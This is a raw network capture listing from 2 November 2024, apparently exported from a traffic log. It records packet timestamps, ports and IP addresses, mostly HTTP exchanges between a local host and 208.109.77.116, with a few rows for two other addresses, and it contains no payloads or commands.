Nov 2, 2024 07:16:11.699675083 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699686050 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699698925 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699709892 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699717045 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699728012 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699739933 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699749947 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699752092 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699760914 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699770927 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699778080 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699788094 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699790001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699800968 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699810982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699821949 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699839115 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699850082 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699851990 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699861050 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699866056 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699877977 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699912071 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699913979 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699923038 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699935913 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699951887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699960947 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699964046 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699974060 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699976921 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.699985027 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.699999094 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700010061 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700011969 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700020075 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700031042 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700037956 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700048923 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700062037 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700062990 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700073004 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700078964 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700107098 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700130939 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700141907 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700153112 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700170994 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700182915 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700195074 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700197935 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700234890 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700269938 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700282097 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700298071 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700308084 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700309992 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700320005 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700335026 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700339079 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700345993 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700357914 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700367928 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700376034 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700395107 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700584888 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700597048 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700611115 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700622082 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700632095 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700642109 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700643063 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700661898 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700674057 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700685024 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700685978 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700695992 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700695992 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700707912 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700717926 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700725079 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700737000 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700747967 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700759888 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700759888 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700769901 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700799942 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.700969934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700979948 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.700989962 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701000929 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701019049 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701030016 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701031923 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701041937 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701061010 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701076031 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701083899 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701087952 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701097965 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701111078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701122999 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701123953 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701134920 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701143980 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701148033 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701160908 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701172113 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701174021 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701200008 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701219082 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701246977 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701256990 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701267958 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701291084 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701371908 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701383114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701392889 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701404095 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701414108 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701415062 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701431990 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701442003 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701451063 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701459885 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701462030 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701474905 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701484919 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701493979 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701495886 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701508045 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701519012 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701527119 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701531887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.701550007 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.701570034 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.739888906 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.739926100 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.739969015 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.739978075 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.739983082 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.740127087 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.740127087 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.745400906 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745417118 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745433092 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745443106 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745455980 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745476007 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.745513916 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.745524883 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745536089 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745547056 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745573044 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.745594025 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.745600939 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745613098 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745635033 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745645046 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745655060 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745657921 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.745665073 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745682001 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.745702028 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.745707989 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745718956 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745728016 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.745753050 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.761621952 CET	63787	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:11.761759996 CET	63813	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:11.766676903 CET	80	63813	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:11.766776085 CET	63813	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:11.766926050 CET	63813	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:11.766942978 CET	80	63787	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:11.767014980 CET	63787	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:11.771794081 CET	80	63813	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:11.779478073 CET	443	63809	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.779839039 CET	63809	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.779855013 CET	443	63809	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.781158924 CET	63809	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.781162977 CET	443	63809	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.792270899 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.794543028 CET	443	63808	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.794862032 CET	63808	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.794874907 CET	443	63808	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.795243979 CET	63808	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.795247078 CET	443	63808	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.820319891 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820414066 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820424080 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820432901 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820444107 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820449114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820456028 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820477962 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820482969 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820488930 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820523977 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820537090 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820549965 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820609093 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.820620060 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820636988 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820647955 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820660114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820672035 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820718050 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820728064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820768118 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820777893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820789099 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820797920 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.820797920 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.820797920 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.820797920 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.820797920 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.820802927 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820811987 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.820844889 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.820887089 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820898056 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820909023 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820930958 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820936918 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.820945978 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820955992 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.820975065 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.820996046 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821037054 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821047068 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821065903 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821084023 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821089983 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821095943 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821106911 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821120024 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821130991 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821131945 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821147919 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821160078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821161985 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821171045 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821187019 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821254015 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821265936 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821280956 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821283102 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821304083 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821310043 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821321011 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821322918 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821358919 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821461916 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821472883 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821485043 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821496964 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821508884 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821510077 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821542025 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821569920 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821579933 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821610928 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821620941 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821620941 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821631908 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821655035 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821657896 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821670055 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821675062 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821707964 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821732998 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821744919 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821760893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821778059 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821782112 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821790934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821799994 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821811914 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821820021 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821825027 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821835041 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821845055 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821873903 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821881056 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821893930 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821903944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.821923971 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.821944952 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822101116 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822217941 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822228909 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822246075 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822266102 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822268009 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822279930 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822290897 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822299004 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822304964 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822324991 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822328091 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822336912 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822350025 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822360039 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822361946 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822374105 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822384119 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822390079 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822525978 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822537899 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822546959 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822549105 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822570086 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822577953 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822582006 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822598934 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822611094 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822614908 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822649002 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822654009 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822664976 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822675943 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822688103 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822700024 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822701931 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822722912 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822729111 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822740078 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822743893 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822751999 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822768927 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822772980 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822781086 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822791100 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822802067 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822818995 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822824001 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.822830915 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822841883 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.822854042 CET	63806	80	192.168.2.4	208.109.77.116
